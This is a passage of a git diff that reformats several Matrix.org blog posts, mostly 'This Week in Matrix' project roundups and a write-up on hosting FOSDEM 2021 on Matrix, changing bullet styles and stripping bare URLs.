direct chat with invalid user_ids > -> Since it's been a while, if anyone has any feedback, questions, or concerns, feel free to chat in the [#syphon:matrix.org](https://matrix.to/#/#syphon:matrix.org) room, message me @ereio:matrix.org, or email me at hello@syphon.org. +> Since it's been a while, if anyone has any feedback, questions, or concerns, feel free to chat in the [#syphon:matrix.org](https://matrix.to/#/#syphon:matrix.org) room, message me @ereio:matrix.org, or email me at . > -> https://github.com/syphon-org/syphon +> > > If you'd like to help out with the project in any way, just ask. We'd love to have your support 😃 @@ -268,12 +262,12 @@ Synapse is a popular homeserver written in Python. > I have been learning about matrix the last few months. The result of that is [frost](https://git.sr.ht/~f4814n/frost) a very basic GUI matrix client written in Go using [Gio](https://gioui.org) and a [CS library](https://git.sr.ht/~f4814n/matrix). Highlights of the project so far are: > -> * Works on Linux, Windows, macOS and Android (although I only test on Linux and often break the other platforms) +> - Works on Linux, Windows, macOS and Android (although I only test on Linux and often break the other platforms) > -> * Should work on WASM and iOS with not too much effort -> * Very, very limited E2EE support. (If the session is manually verified by other clients, events can be encrypted and decrypted. +> - Should work on WASM and iOS with not too much effort +> - Very, very limited E2EE support. (If the session is manually verified by other clients, events can be encrypted and decrypted. > -> * Library that handles storage, encryption and some other things with a opinionated but simple to use (I hope) interface. +> - Library that handles storage, encryption and some other things with a opinionated but simple to use (I hope) interface. > > I started this project to understand matrix and improve my Go skills (which are not that great) and if somebody wants to play around with it and give me some feedback on it, I would very much appreciate it. Meet me in [#frost-dev:intothecyber.space](https://matrix.to/#/#frost-dev:intothecyber.space) @@ -287,15 +281,13 @@ and then, [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) reappeared > Apart from that grant, we’ve done a fair chunk of work since [the previous piece of news two months ago](https://matrix.org/blog/2020/12/04/this-week-in-matrix-2020-12-04#fractal). Here are the highlights: > -> * We kept refactoring. Some examples merge requests are [647](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/647), [673](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/673), [674](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/674), [680](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/680), [684](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/684) and [686](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/686). +> - We kept refactoring. Some examples merge requests are [647](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/647), [673](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/673), [674](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/674), [680](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/680), [684](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/684) and [686](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/686). > -> * We [upgraded our secret-service dependency to 2.0](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/693) -> * [HTML rendering has landed!](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/642) +> - We [upgraded our secret-service dependency to 2.0](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/693) +> - [HTML rendering has landed!](https://gitlab.gnome.org/GNOME/fractal/-/merge_requests/642) > > Don’t believe me? Well, go try out [our nightly flatpak build](https://wiki.gnome.org/Apps/Nightly)! - - ![2021-02-05-hedvP-image.png](/blog/img/2021-02-05-hedvP-image.png) ### Konheko @@ -310,8 +302,6 @@ and then, [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) reappeared > NeoChat is continuing to make progress. First of all Tobias, Nicolas and Hannah have been working on packaging NeoChat for many platforms. We now have nightly builds for Android, Windows, macOS, AppImages and Flatpak. There is still work to be done to improve the quality of the builds and fixing some platform incompatibility bugs. Nicolas has also been working on optimizing the performance and the RAM usage, fixing a few bottlenecks. Tobias finally landed his big revamp of the login flow and we now support login using single sign-on. Myself (Carl) worked on E2EE support in NeoChat and Quotient. This week we finished our Qt bindings for libOlm and started adding device key tracking and more! - - ![2021-02-05-iNCYz-image.png](/blog/img/2021-02-05-iNCYz-image.png) ## Dept of Bots 🤖 @@ -326,33 +316,34 @@ and then, [Alexandre Franke](https://matrix.to/#/@afranke:matrix.org) reappeared > > #### Fixes > -> * Make sure !version correctly gets build on CI +> - Make sure !version correctly gets build on CI +> +> - Make sure we compare to local UTC::now +> - Check for arg len in stats command > -> * Make sure we compare to local UTC::now -> * Check for arg len in stats command +> - Sanitize input arguments before parsing them > -> * Sanitize input arguments before parsing them > #### Refactoring > -> * Use https://github.com/MTRNord/mrsbfh framework +> - Use framework > > #### v0.4.2 > > #### Fixes > -> * Make tests compile again +> - Make tests compile again > -> * Descriptions without explicit time now accept again more than just the first word +> - Descriptions without explicit time now accept again more than just the first word > > #### Features > -> * !stats assumes out now if out is still missing for the last entry +> - !stats assumes out now if out is still missing for the last entry > > #### v0.4.3 > > #### Fixes > -> * Ensure that the tests compile always reliable +> - Ensure that the tests compile always reliable ### Hemppa @@ -360,7 +351,7 @@ Hemppa the Bot is a multipurpose bot for writing modules super easily in Python. [Cos](https://matrix.to/#/@cos:hacklab.fi) reported: -> Hemppa the bot is a general purpose bot for writing modules as easily as possible in Python. This week Hemppa got new module that can be used for hackerspace asset management using Github issues and special labels. In practice it can figure out which machines are working or broken and also list issues per physical space. Creating issues with proper labels and other extra features to come soon. https://github.com/vranki/hemppa / [#hemppa:hacklab.fi](https://matrix.to/#/#hemppa:hacklab.fi) +> Hemppa the bot is a general purpose bot for writing modules as easily as possible in Python. This week Hemppa got new module that can be used for hackerspace asset management using Github issues and special labels. In practice it can figure out which machines are working or broken and also list issues per physical space. Creating issues with proper labels and other extra features to come soon. / [#hemppa:hacklab.fi](https://matrix.to/#/#hemppa:hacklab.fi) ## Dept of Interesting Projects 🛰️ @@ -388,7 +379,7 @@ Element Android had a fun time last weekend, [getting temporarily removed from t > > The Code probably will stay up but it will not get revived by me. Feel free to fork it however. > -> Sourcecode can be found at https://github.com/daydream-mx/ +> Sourcecode can be found at ## Dept of Ping 🏓 diff --git a/content/blog/2021/02/2021-02-12-this-week-in-matrix-2021-02-12.md b/content/blog/2021/02/2021-02-12-this-week-in-matrix-2021-02-12.md index 0ace3a4ca..ff07cc269 100644 --- a/content/blog/2021/02/2021-02-12-this-week-in-matrix-2021-02-12.md +++ b/content/blog/2021/02/2021-02-12-this-week-in-matrix-2021-02-12.md @@ -22,11 +22,11 @@ This week we have Neil presenting P2P Matrix over Bluetooth. It's titled "P2P Ma [Nico (@deepbluev7:neko.dev)](https://matrix.to/#/@deepbluev7:neko.dev) announced: -> Famedly (Matrix based application for German hospitals and clinics) seems to be getting positive feedback so far: https://medtech-zwo.de/aktuelles/nachrichten/nachrichten/famedly-ueberzeugt-mit-messenger-dienst-im-krankenhaus.html +> Famedly (Matrix based application for German hospitals and clinics) seems to be getting positive feedback so far: > > Article in German, but my favourite parts are: > -> * They used the word "Anti-Datenkrake" to describe how data is handled in the application, which basically is a metaphor for Famedly being the opposite of the usual corporations trying to pry their tentacles into everyones personal data. See also: https://en.wiktionary.org/wiki/datenkraken +> * They used the word "Anti-Datenkrake" to describe how data is handled in the application, which basically is a metaphor for Famedly being the opposite of the usual corporations trying to pry their tentacles into everyones personal data. See also: > > * They actually use `[matrix]–Protokoll` to refer to the Matrix protocol. The open and standardized Matrix protocol seems to be a big selling factor. @@ -36,7 +36,7 @@ This week we have Neil presenting P2P Matrix over Bluetooth. It's titled "P2P Ma [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) said: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > > #### MSC Status @@ -64,12 +64,10 @@ This week we have Neil presenting P2P Matrix over Bluetooth. It's titled "P2P Ma > > #### New Spec Platform > -> [Will Bamberg](https://github.com/wbamberg) has done an incredible job with getting both an entire redesign and an internal refactoring to the Matrix Spec. Remaining work includes ironing out some remaining minor blockers (https://github.com/matrix-org/matrix-doc/pull/3002, https://github.com/matrix-org/matrix-doc/pull/3003), merging changelog representation with respect to the current idea of a global Matrix Spec version number (https://github.com/matrix-org/matrix-doc/pull/2992) and then finally hooking up all the CI/CD to deploy it all (my job!). +> [Will Bamberg](https://github.com/wbamberg) has done an incredible job with getting both an entire redesign and an internal refactoring to the Matrix Spec. Remaining work includes ironing out some remaining minor blockers (, ), merging changelog representation with respect to the current idea of a global Matrix Spec version number () and then finally hooking up all the CI/CD to deploy it all (my job!). > > We're planning to present the new spec on a new domain; running it in parallel with the old design for a bit before eventually retiring the latter. - - ![2021-02-12-B00Xp-stacked_area_chart.png](/blog/img/2021-02-12-B00Xp-stacked_area_chart.png) ## Dept of Servers 🏢 @@ -84,8 +82,6 @@ This week we have Neil presenting P2P Matrix over Bluetooth. It's titled "P2P Ma > > Jason - - ![2021-02-12-eXJxK-Screenshotfrom2020-10-2504-23-40.png](/blog/img/2021-02-12-eXJxK-Screenshotfrom2020-10-2504-23-40.png) ### Synapse @@ -98,7 +94,7 @@ Synapse is a popular homeserver written in Python. > > First, releases. Synapse 1.27.0rc2 is out now ([changelog](https://github.com/matrix-org/synapse/blob/v1.27.0rc2/CHANGES.md#synapse-1270rc2-2021-02-11)), and we anticipate a full 1.27 release early next week. This is basically the branch that FOSDEM ran, so we think it's a good one. > -> Second, keeping with our biweekly development cadence, the first 1.28 release candidate is due out midweek next week, so keep your eyes peeled for that. Given FOSDEM, most of our recent focus has been on stability, bug fixes, and social login. We hope to _knock_ your socks off with more ambitious features soon. 😉 +> Second, keeping with our biweekly development cadence, the first 1.28 release candidate is due out midweek next week, so keep your eyes peeled for that. Given FOSDEM, most of our recent focus has been on stability, bug fixes, and social login. We hope to *knock* your socks off with more ambitious features soon. 😉 ## Homeserver Deployment 📥️ @@ -122,12 +118,10 @@ Synapse is a popular homeserver written in Python. > > Thanks to [@michi7801](https://matrix.to/#/@michael7801:rapgru.com) we can now provide builds for macOS!! 🍎 > -> Code on GitHub: https://github.com/SchildiChat/schildichat-desktop +> Code on GitHub: > > Matrix room: [#schildichat-web:matrix.org](https://matrix.to/#/#schildichat-web:matrix.org) - - ![2021-02-12-5B1P9-Bildschirmfoto2021-02-12um10.48.41.png](/blog/img/2021-02-12-5B1P9-Bildschirmfoto2021-02-12um10.48.41.png) ### Nheko @@ -156,52 +150,52 @@ Synapse is a popular homeserver written in Python. > > > -> * Social Login +> * Social Login > -> * We’ve concluded most of the development on Social Login, and tested it last weekend on the FOSDEM deployments. We found that over 50% of new accounts used it to register! We’ll be deploying Social Login to matrix.org in the near future after polishing some final pieces on iOS. +> * We’ve concluded most of the development on Social Login, and tested it last weekend on the FOSDEM deployments. We found that over 50% of new accounts used it to register! We’ll be deploying Social Login to matrix.org in the near future after polishing some final pieces on iOS. > -> * Spaces +> * Spaces > -> * We’re iterating on the user experience for Spaces, first focusing on setting up, sharing and joining public spaces. +> * We’re iterating on the user experience for Spaces, first focusing on setting up, sharing and joining public spaces. > > **VoIP** > > > -> * VoIP branches merged to develop on iOS and & Android - please test voice & video calling if you have the android develop build, or testflight for iOS will be coming soon. More complex scenarios with multiple devices are particularly useful to test, eg. do other devices stop ringing when you answer on a different one? +> * VoIP branches merged to develop on iOS and & Android - please test voice & video calling if you have the android develop build, or testflight for iOS will be coming soon. More complex scenarios with multiple devices are particularly useful to test, eg. do other devices stop ringing when you answer on a different one? > > **Web** > > > -> * 1.7.21-rc.1 is now available at https://staging.element.io, including: +> * 1.7.21-rc.1 is now available at , including: > -> * Fixed screen sharing in VoIP calls -> * Added window vs. full screen sharing option in VoIP calls +> * Fixed screen sharing in VoIP calls +> * Added window vs. full screen sharing option in VoIP calls > -> * Fixed event permalinks to show link text instead of a room pill +> * Fixed event permalinks to show link text instead of a room pill > -> * 1.7.21 planned for release on Monday (15 Feb) +> * 1.7.21 planned for release on Monday (15 Feb) > -> * Element Desktop nightly builds are now using Electron 11 -> * Please report any issues you notice so we can address them before the next Element release +> * Element Desktop nightly builds are now using Electron 11 +> * Please report any issues you notice so we can address them before the next Element release > > **iOS** > -> * 1.2.1 has been submitted to Apple. TestFlight should be available from tomorrow: -> * All new VoIP stuff described above +> * 1.2.1 has been submitted to Apple. TestFlight should be available from tomorrow: +> * All new VoIP stuff described above > -> * Handle User-Interactive Authentication for delete device and adding user 3pid. -> * Improve grace period management and setup Cross-Signing after login if possible when using SSO. +> * Handle User-Interactive Authentication for delete device and adding user 3pid. +> * Improve grace period management and setup Cross-Signing after login if possible when using SSO. > -> * XcodeGen integration into the Element-iOS codebase is almost complete. From next week, we will not have merge conflicts on the pbxproj files. This also means better control on build settings. +> * XcodeGen integration into the Element-iOS codebase is almost complete. From next week, we will not have merge conflicts on the pbxproj files. This also means better control on build settings. > > **Android** > -> * Initial sync work improvements: performance is far better regarding RAM usage and stability (especially true for large accounts), though duration is still a concern. +> * Initial sync work improvements: performance is far better regarding RAM usage and stability (especially true for large accounts), though duration is still a concern. > -> * Started working on running integration tests via CI. -> * 1.0.17 released, fixing a join over federation bug. Expect 1.0.18 next week. +> * Started working on running integration tests via CI. +> * 1.0.17 released, fixing a join over federation bug. Expect 1.0.18 next week. ## Dept of SDKs and Frameworks 🧰 @@ -220,27 +214,15 @@ Synapse is a popular homeserver written in Python. > > * [@NerdyPepper] added [support for `m.room.message` events with custom `msgtype`s](https://github.com/ruma/ruma/pull/423) > -> [@iinuwa]: https://github.com/iinuwa > > [@DevinR528]: https://github.com/DevinR528 -> [@gnieto]: https://github.com/gnieto > -> [@elegaanz]: https://github.com/elegaanz -> [@poljar]: https://github.com/poljar > -> [@auscompgeek]: https://github.com/auscompgeek -> [@lanker]: https://github.com/lanker > -> [@V02460]: https://github.com/V02460 -> [@iinuwa]: https://github.com/iinuwa > -> [@DevinR528]: https://github.com/DevinR528 -> [@tilosp]: https://github.com/tilosp > > [@NerdyPepper]: https://github.com/NerdyPepper -> [@jamtwister]: https://github.com/jamtwister > -> [@florianjacob]: https://github.com/florianjacob > [@jsparber]: https://github.com/jsparber ## Dept of Ops 🛠 @@ -269,7 +251,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > You may ask why not a yaml or json format: Simply to more easily allow forking of existing collections. A folder structure is much easier to do a diff over in git than file content. > -> Feel free to join [#space-hub:nordgedanken.dev](https://matrix.to/#/#space-hub:nordgedanken.dev) for discussions or have an eye on https://github.com/matrix-spaces-generator where at the time of writing this only an example of the spaces folder structure exists. +> Feel free to join [#space-hub:nordgedanken.dev](https://matrix.to/#/#space-hub:nordgedanken.dev) for discussions or have an eye on where at the time of writing this only an example of the spaces folder structure exists. ### Keymaker @@ -277,7 +259,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > Small update time: > -> We are currently starting to add some documentation to it over at https://docs.joinmatrix.rocks/users/what-is-keymaker.html +> We are currently starting to add some documentation to it over at > > It at time of writing still very barebones but over the next few weeks the goal is to add the Code of Conduct as well as a server admin guide on how to use this. @@ -291,11 +273,11 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl > > The draft is hosted at: > -> https://matrix-org.github.io/matrix-appservice-irc/latest +> > > and the PR is: > -> https://github.com/matrix-org/matrix-appservice-irc/pull/1235 +> ## Final Thoughts 💭 @@ -305,7 +287,7 @@ This [Ansible playbook](https://github.com/spantaleev/matrix-docker-ansible-depl [Shine](https://matrix.to/#/@shiny:shine.horse) reported: -> If you have a 3D printer and want to express your love for Fluffychat with a nice badge, you can download the necessary files here ^_^ https://www.thingiverse.com/thing:4550331/files +> If you have a 3D printer and want to express your love for Fluffychat with a nice badge, you can download the necessary files here ^_^ > > Freecad source file included for those who need some modifications. > diff --git a/content/blog/2021/02/2021-02-15-how-we-hosted-fosdem-2021-on-matrix.md b/content/blog/2021/02/2021-02-15-how-we-hosted-fosdem-2021-on-matrix.md index dffb9b9d0..8a02b2584 100644 --- a/content/blog/2021/02/2021-02-15-how-we-hosted-fosdem-2021-on-matrix.md +++ b/content/blog/2021/02/2021-02-15-how-we-hosted-fosdem-2021-on-matrix.md @@ -14,6 +14,7 @@ Hi all, Just over a week ago we had the honour of using Matrix to host FOSDEM: the world's largest free & open source software conference. It's taken us a little while to write up the experience given we had to recover and catch up on business as usual... but better late than never, here's an overview of what it takes to run a ~30K attendee conference on Matrix! + ![](/blog/img/upload_5335e89b9ca474d844bdc37ea328967b.png)
    *[confetti and firework easter-eggs explode over the closing keynote of FOSDEM 2021]*
    First of all, a quick (re)introduction to Matrix for any newcomers: Matrix is an open source project which defines an open standard protocol for decentralised communication. The global Matrix network makes up at least 28M Matrix IDs spread over around 60K servers. For FOSDEM, we set up a fosdem.org server to host newcomers, provided by [Element Matrix Services (EMS)](https://ems.element.io) - [Element](https://element.io) being the startup formed by the Matrix core team to help fund Matrix development. @@ -21,17 +22,20 @@ First of all, a quick (re)introduction to Matrix for any newcomers: Matrix is an The most unique thing about Matrix is that conversations get replicated across all servers whose users are present in the conversation, so there's never a single point of control or failure for a conversation (much as git repositories get replicated between all contributors). And so hosting FOSDEM in Matrix meant that everyone already on Matrix (including users bridged to Matrix from IRC, XMPP, Slack, Discord etc) could attend directly - in addition to users signing up for the first time on the FOSDEM server. Therefore the chat around FOSDEM 2021 now exists for posterity on all the Matrix servers whose users who participated; and we hope that the fosdem.org server will hang around for the benefit of all the newcomers for the foreseeable so they don't lose their accounts! Talking of which: the vital stats of the weekend were as follows: - * We saw almost 30K local users on the FOSDEM server + 4K remote users from elsewhere in Matrix. - * There were 24,826 guests (read-only invisible users) on the FOSDEM server. - * There were 8,060 distinct users actively joined to the public FOSDEM rooms... - * ...of which 3,827 registered on the FOSDEM server. (This is a bit of an eye-opener: over 50% of the actively participating attendees for FOSDEM were already on Matrix!) - * These numbers don't count users who were viewing the livestreams directly, but only those who were attending via Matrix. + +* We saw almost 30K local users on the FOSDEM server + 4K remote users from elsewhere in Matrix. +* There were 24,826 guests (read-only invisible users) on the FOSDEM server. +* There were 8,060 distinct users actively joined to the public FOSDEM rooms... +* ...of which 3,827 registered on the FOSDEM server. (This is a bit of an eye-opener: over 50% of the actively participating attendees for FOSDEM were already on Matrix!) +* These numbers don't count users who were viewing the livestreams directly, but only those who were attending via Matrix. Given last year's FOSDEM had roughly 8,500 in-person attendees at the Université libre de Bruxelles, this feels like a pretty good outcome :) Graphwise, local user activity on the FOSDEM server looked like this: + ![](/blog/img/upload_e24e0febde0118ea9f2e93005d926d48.png) + ![](/blog/img/upload_63bad29ebc4d672d9979f9eea48fcfc5.png) ## How was it built? @@ -45,12 +49,14 @@ There were four main components on the Matrix side: Architecturally, it looked like this: + ![](/blog/img/upload_06b59bc2b2d518ffe616020e1fe5bee8.png) On the clientside, we made heavy use of widgets: the ability to embed arbitrary web content as iframes into Matrix chatrooms. (Widgets currently exist as a set of [proposals](https://matrix.org/docs/spec/proposals) for the Matrix spec, which have been preemptively implemented in Element.) For instance, the conference-bot created Matrix rooms for all the FOSDEM devrooms with a predefined widget for viewing the official FOSDEM livestream for that room, pointing at the appropriate HLS stream at stream.fosdem.org - which looked like this: + ![](/blog/img/upload_07145dc9cf8d5ae22b6eaf91a63dd8d6.jpg) Each devroom also had a schedule widget available on the righthand side, visualising the schedule of that room - huge thanks to Hato and Steffen and folks at [Nordeck](https://nordeck.net/) for putting this together at the last minute; it enormously helped navigate the devrooms (and even had a live countdown to help you track where you were at in the schedule!) @@ -59,33 +65,41 @@ Each devroom was also available via IRC on Freenode via a dedicated bridge (#fos The bot also created rooms for each and every talk at FOSDEM (all 666 of them), as the space where the speaker and host could hang out in advance; watch the talk together, and then broadcast the Q&A session. At the end of the talk slot, the bot then transformed the talk room into a 'hallway' for the talk, and advertised it to the audience in the devroom, so folks could pose follow-on questions to the speaker as so often happens in real life at FOSDEM. The speaker's view of the talk rooms looked like this: + ![](/blog/img/upload_f8b9121b21323955233d6633d19e3fb5.jpg) On the right-hand side you can see a "scoreboard" - a simple widget which tracked which messages in the devroom had been most upvoted, to help select questions for the Q&A session. On the left-hand side you can see a hybrid Jitsi/livestream widget used to coordinate between the speaker & host. By default, the widget showed the local livestream of the video call - if you clicked 'join conference' you'd join the Jitsi itself. This stopped view-only users from overloading the Jitsi once the room became public. -The widgets themselves were hosted by the bot (you can see them at https://github.com/matrix-org/conference-bot/tree/main/web). Meanwhile the chat.fosdem.org webclient itself ended up being identical to mainline Element Web 1.7.19, other than FOSDEM branding and being configured to hook the 'video call' button up to the hybrid Jitsi/livestream widget rather than a plain Jitsi. +The widgets themselves were hosted by the bot (you can see them at ). Meanwhile the chat.fosdem.org webclient itself ended up being identical to mainline Element Web 1.7.19, other than FOSDEM branding and being configured to hook the 'video call' button up to the hybrid Jitsi/livestream widget rather than a plain Jitsi. Meanwhile, for conferencing we hosted an off-the-shelf Jitsi cluster sized to ~100 concurrent conferences, and for the Jibri livestreaming we set up an elastic scalable cluster using AWS Auto Scaling Groups. Jibri is essentially a Chromium which views the Jitsi webapp, running in a headless X server whose framebuffer and ALSA audio is hooked up to an ffmpeg process which livestreams to the appropriate destination - so we chose to run a separate VM for every concurrent livestream to keep them isolated from each other. The Jibri ffmpegs compressed the livestream to RTMP and relayed it to our nginx, which in turn relayed it to FOSDEM's livestreaming infrastructure for use in the official stream, as well as relaying it back to the local video preview in the Matrix livestream/video widget. Here's a screengrab of the Jitsi/Jibri Grafana dashboard during the first day of the conference, showing 46 concurrent conferences in action, with 25 spare jibris in the scaling group cluster ready for action if needed :) + ![](/blog/img/upload_1dfb1ef630c0ac8f5b3fd81f52491964.png) There was also an explosion of changes to Element itself to try to make things go as smoothly as possible. Probably the most important one was implementing Social Login - giving single-click registration for attendees who were happy to piggyback on existing identity providers (GitHub, GitLab, Google, Apple and Facebook) rather then signing up natively in Matrix: + ![](/blog/img/upload_45b228cf122b2faedfca5e36b6d52576.png) This was a real epic to get together (and is also an important part of [achieving parity](https://matrix.org/blog/2020/12/07/gitter-now-speaks-matrix) between Gitter and Element) - and seems to have been surprisingly successful for FOSDEM. Almost 50% of users who signed up on the FOSDEM server did so via social login! We should also be turning it on for the matrix.org server this week. Finally, on the Matrix server side, we ran a cluster of synapse worker processes (1 federation inbound, reader and sender, 1 pusher, 1 initial sync worker, 10 synchrotrons, 1 event persister, 1 event creator, 4 general purpose client readers, 1 typing worker and 1 user directory) within Kubernetes on [EMS](https://ems.element.io). These were hooked up for [horizontal scalability](https://matrix.org/blog/2020/11/03/how-we-fixed-synapses-scalability/) as follows: + ![](/blog/img/upload_22b8ea14fff89c1bce93767b82ab1db5.png) The sort of traffic we saw (from day 2) looked like this: + ![](/blog/img/upload_42c22d9a51988d1bd28a17b814fd3859.png) + ![](/blog/img/upload_d2bd3f14d1ac53e5177152d48b8808e0.png) + ![](/blog/img/upload_08a75cf1588657a935d3801c3f346886.png) + ![](/blog/img/upload_5b7b327bbc4f633263daeaa6bbf54743.png) ## How did it go? @@ -99,15 +113,16 @@ Ironically the Matrix server was largely working okay during this timeframe, giv The other main incident was briefly first thing on Sunday morning, where two Jibri livestreams ended up trying to broadcast video to the same RTMP URL (potentially due to a race when rapidly removing and re-adding the jitsi/livestream widget for one of the stands). This caused a cascading failure which briefly impacted all RTMP streams, but was solved within about 30 minutes. We also had a more minor problem with the active speaker recognition malfunctioning in Jitsi on Sunday (apparently a risk when using SCTP rather than Websockets as a transport within Jitsi) - this was solved around lunchtime. Again, we're really sorry if you were impacted by this. We've learned a lot from the experience, and if we end up doing this again we will make sure these failure modes don't repeat! Other things we'd change if we have the chance to do it again include: - * Providing a to-the-second countdown via a widget in the talk room so the speaker & host can see precisely when they're going 'live' in the devroom (and when precisely they're going to be cut in favour of the next talk) - * Providing a scratch-pad of some kind in the talk room so the host & speaker can track which questions they want to answer, and which they've already answered - * Keep the questions scoreboard and scratchpad visible to the speaker/host after their Q&A has finished so they can keep answering the questions in the per-talk room, and advertise the per-talk room more effectively. - * Use Spaces rather than Communities to group the rooms together and automatically provide a structured room directory! ([Like this!](https://youtu.be/TzUfS08lMek?t=1609)) - * Use threads (once they land!) to help structure conversations in the devroom (perhaps these could even replace the hallway rooms?) - * Make the schedule widgets easier to find, and have more of them around the place - * Make room directory easier to find. - * Give the option of recording the video in the per-talk and stands for posterity - * Provide more tools to stands to help organise demos etc. + +* Providing a to-the-second countdown via a widget in the talk room so the speaker & host can see precisely when they're going 'live' in the devroom (and when precisely they're going to be cut in favour of the next talk) +* Providing a scratch-pad of some kind in the talk room so the host & speaker can track which questions they want to answer, and which they've already answered +* Keep the questions scoreboard and scratchpad visible to the speaker/host after their Q&A has finished so they can keep answering the questions in the per-talk room, and advertise the per-talk room more effectively. +* Use Spaces rather than Communities to group the rooms together and automatically provide a structured room directory! ([Like this!](https://youtu.be/TzUfS08lMek?t=1609)) +* Use threads (once they land!) to help structure conversations in the devroom (perhaps these could even replace the hallway rooms?) +* Make the schedule widgets easier to find, and have more of them around the place +* Make room directory easier to find. +* Give the option of recording the video in the per-talk and stands for posterity +* Provide more tools to stands to help organise demos etc. So, there you have it. We hope that this shows that it's possible to host successful large-scale conferences on Matrix using an [entirely open source stack](https://sfconservancy.org/blog/2021/feb/08/just-say-no-to-zoom/), and we hope that other events will be inspired to go online via Matrix! We should give a big shout out to [HOPE](https://hope.net), who independently trailblazed running conferences on Matrix last year and [inspired us](https://hackaday.com/2020/08/11/hope-2020-delivers-historic-marathon-of-hacking/) to make FOSDEM work. diff --git a/content/blog/2021/02/2021-02-19-this-week-in-matrix-2021-02-19.md b/content/blog/2021/02/2021-02-19-this-week-in-matrix-2021-02-19.md index ad6987835..916d09d11 100644 --- a/content/blog/2021/02/2021-02-19-this-week-in-matrix-2021-02-19.md +++ b/content/blog/2021/02/2021-02-19-this-week-in-matrix-2021-02-19.md @@ -20,7 +20,7 @@ image = "https://matrix.org/blog/img/2021-02-19-ml.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) offered: -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://matrix.org/docs/spec/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > #### MSC Status > @@ -74,7 +74,7 @@ image = "https://matrix.org/blog/img/2021-02-19-ml.png" > Let's talk more about Hedwig: This is a push gateway for matrix and an alternative to Sygnal. Hedwig is completely written from scratch in Rust (Yes! Rust!) and offers the basic functionality to forward matrix push notifications to Firebase Cloud Messaging. That's it. Nothing more. It is intended to be as lightweight as possible and so it is very fast and stable. Just change a simple config.toml file and run the binary. There are docs for how you can configure a proxy in Apache2 and an example systemD service file. Currently it only supports event_id_only formatted notifications but maybe, in the future, we expand this functionality. -Learn more: https://gitlab.com/famedly/services/hedwig +Learn more: ### Dendrite / gomatrixserverlib @@ -157,7 +157,7 @@ Synapse is a popular homeserver written in Python. [krille](https://matrix.to/#/@krille:janian.de) said: -> FluffyChat 0.27.0 is out. Not with the new design but with some minor design improvements like the return of the presence list top bar (or whatever you would name it!). Also this release brings a lot of bug fixes, working bootstrapping and the switch to our new Push Gateway (in Rust) we have invented inside of Famedly. You can find it here: https://gitlab.com/famedly/services/hedwig +> FluffyChat 0.27.0 is out. Not with the new design but with some minor design improvements like the return of the presence list top bar (or whatever you would name it!). Also this release brings a lot of bug fixes, working bootstrapping and the switch to our new Push Gateway (in Rust) we have invented inside of Famedly. You can find it here: ### FluffyChat on Pinephone @@ -199,47 +199,47 @@ Yes! Hydrogen progresses! > > > -> * Social Login +> * Social Login > -> * Social log-in has shipped to matrix.org, we are seeing about 40% of new users opting for a social method. Next up will be landing some robustness improvements as well as automatic avatar import. +> * Social log-in has shipped to matrix.org, we are seeing about 40% of new users opting for a social method. Next up will be landing some robustness improvements as well as automatic avatar import. > -> * Spaces +> * Spaces > -> * We are aiming to get a basic version up and ready over the next few weeks. The idea is to have something behind a labs flag that will work for Spaces containing public rooms only. After that we will think about more complex cases such as Spaces containing private rooms. +> * We are aiming to get a basic version up and ready over the next few weeks. The idea is to have something behind a labs flag that will work for Spaces containing public rooms only. After that we will think about more complex cases such as Spaces containing private rooms. > > **VoIP** > > > -> * Fix for crash on Android caused by VoIP tiles +> * Fix for crash on Android caused by VoIP tiles > -> * Design updates on iOS for in-call view and dial pad -> * Couple of tweaks to web that may help 1:1 call connectivity +> * Design updates on iOS for in-call view and dial pad +> * Couple of tweaks to web that may help 1:1 call connectivity > > **Web** > > > -> * Element 1.7.21 was released on Monday (15 Feb) +> * Element 1.7.21 was released on Monday (15 Feb) > > **iOS** > > > -> * Element [1.2.1](https://github.com/vector-im/element-ios/releases) was released on Friday (12 Feb) +> * Element [1.2.1](https://github.com/vector-im/element-ios/releases) was released on Friday (12 Feb) > -> * We now use XcodeGen to generate Xcode project files. Please check [new instructions ](https://github.com/vector-im/element-ios#build-instructions)to build the project. It is only on develop for the moment -> * We made an update to libolm so that it accepts an external pickle key to encrypt its data when serialising it. Element-iOS uses the Keychain to provide this key. +> * We now use XcodeGen to generate Xcode project files. Please check [new instructions](https://github.com/vector-im/element-ios#build-instructions)to build the project. It is only on develop for the moment +> * We made an update to libolm so that it accepts an external pickle key to encrypt its data when serialising it. Element-iOS uses the Keychain to provide this key. > -> * We started to review and merge pending PRs in our repos but we still have work. Thanks for your contributions and patience +> * We started to review and merge pending PRs in our repos but we still have work. Thanks for your contributions and patience > > **Android** > > > -> * We are preparing the release 1.1.0 which contains the work on VoIP +> * We are preparing the release 1.1.0 which contains the work on VoIP > -> * This release will also contain a lot of bug fixes +> * This release will also contain a lot of bug fixes ## Dept of SDKs and Frameworks 🧰 @@ -268,10 +268,8 @@ 